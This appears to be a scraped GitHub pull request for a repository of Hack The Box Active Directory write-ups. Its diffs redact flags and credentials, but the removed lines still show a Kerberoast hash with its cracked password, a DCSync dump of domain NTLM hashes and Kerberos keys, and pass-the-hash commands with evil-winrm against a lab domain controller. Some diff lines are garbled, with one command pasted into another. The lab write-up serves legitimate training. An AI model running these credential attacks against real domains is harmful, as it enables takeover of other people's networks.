Skip to content

Active directory #5

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
Skeletonephilim wants to merge 21 commits into
base: main
Choose a base branch
from
Draft

Active directory #5

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
21 commits
Select commit Hold shift + click to select a range
a3aa0fc
Clear old writeups
Skeletonephilim Jul 2, 2026
7126eec
Add files via upload
Skeletonephilim Jul 2, 2026
0035ef0
Add files via upload
Skeletonephilim Jul 2, 2026
bbddd8f
Add files via upload
Skeletonephilim Jul 2, 2026
b20e273
Create README with Hack The Box AD writeups
Skeletonephilim Jul 2, 2026
3ace82e
Add themes section and update boxes by difficulty
Skeletonephilim Jul 2, 2026
9c8b5e2
Add files via upload
Skeletonephilim Jul 7, 2026
2a35078
Create Fluffy [EASY] CPTS Path.md
Skeletonephilim Jul 10, 2026
327bcdf
Rename Redelegate [HARD].md to Redelegate [HARD] {CPTS PATH}.md
Skeletonephilim Jul 10, 2026
a390fcc
Rename Administrator [MEDIUM].md to Administrator [MEDIUM] {CPTS PATH…
Skeletonephilim Jul 10, 2026
5856b80
Rename Fluffy [EASY] CPTS Path.md to Fluffy [EASY] {CPTS PATH}.md
Skeletonephilim Jul 10, 2026
b6b351e
Add files via upload
Skeletonephilim Jul 18, 2026
40866ac
First 𝐏𝐔𝐑𝐏𝐋𝐄 box.
Skeletonephilim Jul 18, 2026
cb25e12
𝘼𝘿 𝙋𝙐𝙍𝙋𝙇𝙀 box, Red & Blue double witness writeup
Skeletonephilim Jul 18, 2026
285b264
{AD PURPLE} : Red ATT&CK TTLs ; Blue SOC & Security mirror
Skeletonephilim Jul 18, 2026
beefaa9
Delete TombWatcher {AD PURPLE}.md
Skeletonephilim Jul 19, 2026
d6b99d3
Add files via upload
Skeletonephilim Jul 19, 2026
a560619
Usual writeup + Event ID / SIEM correlation, SOC potential, DFIR cleanup
Skeletonephilim Jul 21, 2026
32bed89
Red + Purple : SOC Emulation, ATT&CK, Event ID / SIEM correlation, DF…
Skeletonephilim Jul 21, 2026
06a87de
TombWatcher writeup with Blue Team emulation, ATT&CK TTPs, SOC Event IDs
Skeletonephilim Jul 25, 2026
0867ea9
Add files via upload
Skeletonephilim Jul 25, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
471 changes: 471 additions & 0 deletions AD Purple - Active.md
View file
Open in desktop

Large diffs are not rendered by default.

712 changes: 712 additions & 0 deletions AD Purple - TombWatcher.md
View file
Open in desktop

Large diffs are not rendered by default.

96 changes: 43 additions & 53 deletions Administrator HTB [MEDIUM].md → Administrator [MEDIUM] {CPTS PATH}.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -719,7 +719,7 @@ Mode                 LastWriteTime         Length Name


*Evil-WinRM* PS C:\Users\emily\Desktop> cat user.txt
90e524*************3db793
[REDACTED]
```

And it is.
Expand Down Expand Up @@ -834,22 +834,12 @@ Dictionary cache hit:
* Bytes.....: 139921497
* Keyspace..: 14344384

$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$47b617cacb26fe6352b093828f4dfa82$b1ede0a6b28378a14927940052db4959d1f89ffd68ab027d4e2c26daa44f5973dd8e26c52b4d766821c216a7bf6c8a7528adbfcd6e39018c0d0
9f9fa16ed39a2467b12a4f188c4703ca661bdc41d18f2c0f6218165dae7a83e11c5ffda68e153470e0b2a1a7c3ea20cc251ae1cb4020640a54a75bc4e3caa878948cb2fb7f66ba474eaeb76a5e59a5e682f136dd9096d8e87370c44c4706694fd4d81cd8a99ef195fb
182de4e368b14b4d36a7d13f77f4cff440b22d234922defa2793ecc9fcf5695ff51ccbfdb83d69bb473b514823bc6fe7b9a821eba656e99d34edfac8d27f9a121d388002b44afbe38f333551a62afbce61a68d1426bebb460a125961810a7cd6889240c42c4b8b5d72
ee64a29e4e71c704e4dea2bbcb8daf4e873775157db2c6679437661f994792ad80ca928c5e9a0cd4e852cafa0dfc2e6a01f556e7aec3cb12df8edba6bf792dcb4c0640e14dd3a5e42eaad8f162145afd4379186f9e3fdd93cb7a01ff63614dde5f7fd81a18bb32738b
366114308684d6df6f3fa567db6e0453a581c6dcb1009310b03f0d50cdd574f4e97b60a0d16367694a21231b0003fae4ff5127adc360ce420918f601af8beb31818374850ddd062b88bfd7955f9f57836544df1ab3e9e7db455522d894d238efa24adb9b4985b79414
5bdffcbadc227768cd700a07c89898dba19ba7c8b1830f4c6af4fcd5100c640129fa2e6abe235ff6bb7279b6d7e9b94caa2d0b6aafab2ddbbc89f45a379d6c106c4407fc8469a91797c2acd198d47a1c35d899243dba00df576b75553149250f96cf3459311c441370
d1a11ac8ca7359810c08c3c89ca9e2d13bcfc41ad32c248165a81f7233c0dfbdfff3f1d64b8c2be9359522a81215d5eaf95f4f53626388b2e0f5583e371732c705c2033aaf999ead598418f1c5c1062c1cbe0a3ea469f2cef2fcdf3318feec24a5622893f4b6315685
0e723cbc5b7c6a28bbe9f08642cef0a84d1152dbf9dccd1b0be4deefe426ca7bf95c25bd02bacee574a6081b36d81e3e19352ee0ce3f615c24d39222dce07cb1ba9fe010d3f268a7f133cb8677afdbce464f98576e5c008a2e7c33891096bc05ed1fbb788c6823a2b7
9e6e3c0a24015263a9fd870b88da8d46f7d36fdf5c64e999d110a4c4ac128545c0f2920b1f09e2e85f188544073ef4c838dc835fd77a4814b7c72b1e40f4dbf11708c7c107da349d5710e33f6bcf9e901986a6568b6ce57d35f09b051388221f9ae312d40f879f61f6
5b8734b5eaf1e7862c8f1b67afcdcb2f35de15ee6852f245f24a681ec05062c078224de187ceb423ecb80ae891d48b14b3338b11cd70a6eb15578c663fc3cb29137224af08356f531c4210b1e8f68495f859b72d487fa568844356bb9c077880a0c40f5da1928f9c50
3a07f858bc85fc8ccbd3704be727b71c50806d392cc4027868042b1b6e8e48a7402baf466549cd10f0dce206bfbd45d2cbbd886657be3bfdd1c74e92a2b60ea86548ff93fc29832a2cf60833305e6646a07abee56:limpbizkit
[REDACTED]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....abee56
[REDACTED]
Time.Started.....: Thu Jun  4 02:32:01 2026 (0 secs)
Time.Estimated...: Thu Jun  4 02:32:01 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Expand Down Expand Up @@ -951,72 +941,72 @@ Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies  
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:4d3aa5fca989c0334ba7e2f48e26f79b:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:4d3aa5fca989c0334ba7e2f48e26f79b:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
Administrator:500:[REDACTED]:::
Guest:501:[REDACTED]:::
krbtgt:502:[REDACTED]:::
administrator.htb\olivia:1108:[REDACTED]:::
administrator.htb\michael:1109:[REDACTED]:::
administrator.htb\benjamin:1110:[REDACTED]:::
administrator.htb\emily:1112:[REDACTED]:::
administrator.htb\ethan:1113:[REDACTED]:::
administrator.htb\alexander:3601:[REDACTED]:::
administrator.htb\emma:3602:[REDACTED]:::
DC$:1000:[REDACTED]:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:aes256-cts-hmac-sha1-96:[REDACTED]
Administrator:aes128-cts-hmac-sha1-96:[REDACTED]
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:aes256-cts-hmac-sha1-96:[REDACTED]
krbtgt:aes128-cts-hmac-sha1-96:[REDACTED]
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\olivia:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:e9337a2048fa0adeddb613a9c2d14caeb9ec9e92e671d9826f55dad6d9246f5c
administrator.htb\michael:aes128-cts-hmac-sha1-96:0f09c39092307b75ccb7f8431891b58b
administrator.htb\michael:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\michael:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\michael:des-cbc-md5:d09e45d38abf0207
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:4651f47cc6ae4c7566ba6fa9878584cde0b359849d8dee8b887313d6586891bc
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:3eeab8b2684736d8e0acddc68dae0211
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\benjamin:des-cbc-md5:bf029b86cb515d7a
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\emily:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\ethan:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\alexander:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:aes256-cts-hmac-sha1-96:[REDACTED]
administrator.htb\emma:aes128-cts-hmac-sha1-96:[REDACTED]
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:aes256-cts-hmac-sha1-96:[REDACTED]
DC$:aes128-cts-hmac-sha1-96:[REDACTED]
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
```

And we got it ! `aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e`
And we got it ! `[REDACTED]`

We can just use Pass-The-Hash with the actual useful portion, `3dc533..` :

```bash
>  nxc winrm 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"
>  nxc winrm 10.129.12.40 -u Administrator -H "[REDACTED]"
WINRM       10.129.12.40    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)  
WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!)
WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:[REDACTED] (Pwn3d!)
```

Gotcha.

```PowerShell
>  nxc winrm 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"
>  nxc winrm 10.129.12.40 -u Administrator -H "[REDACTED]"
WINRM       10.129.12.40    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)  
WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!)
>  evil-winrm -i 10.129.12.40 -u Administrator -H ">  nxc winrm 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"
WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:[REDACTED] (Pwn3d!)
>  evil-winrm -i 10.129.12.40 -u Administrator -H ">  nxc winrm 10.129.12.40 -u Administrator -H "[REDACTED]"
WINRM       10.129.12.40    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)  
WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!)
WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:[REDACTED] (Pwn3d!)

>  evil-winrm -i 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"
>  evil-winrm -i 10.129.12.40 -u Administrator -H "[REDACTED]"

/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems
Expand All @@ -1031,7 +1021,7 @@ Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplay

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:/Users/Administrator/Desktop/root.txt
6467**********9d8688465298
[REDACTED]
```

And we got root.
Expand Down
6 changes: 3 additions & 3 deletions BabyTwo HTB [MEDIUM].md → BabyTwo [MEDIUM].md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -792,7 +792,7 @@ cat user.txt
getting file \dev\who.txt of size 24 as who.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \dev\user.txt of size 32 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
baby2\amelia.griffiths
42783b************5c38%
[REDACTED]
```

And fuck you PowerShell, we got the user flag and the user : amelia.griffiths.
Expand Down Expand Up @@ -985,7 +985,7 @@ d-r---         8/22/2023  10:08 AM                Public

*Evil-WinRM* PS C:\Users> cd /Users/Administrator/Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
2935009**********5740f9
[REDACTED]
```

And rooted !
And rooted !
Loading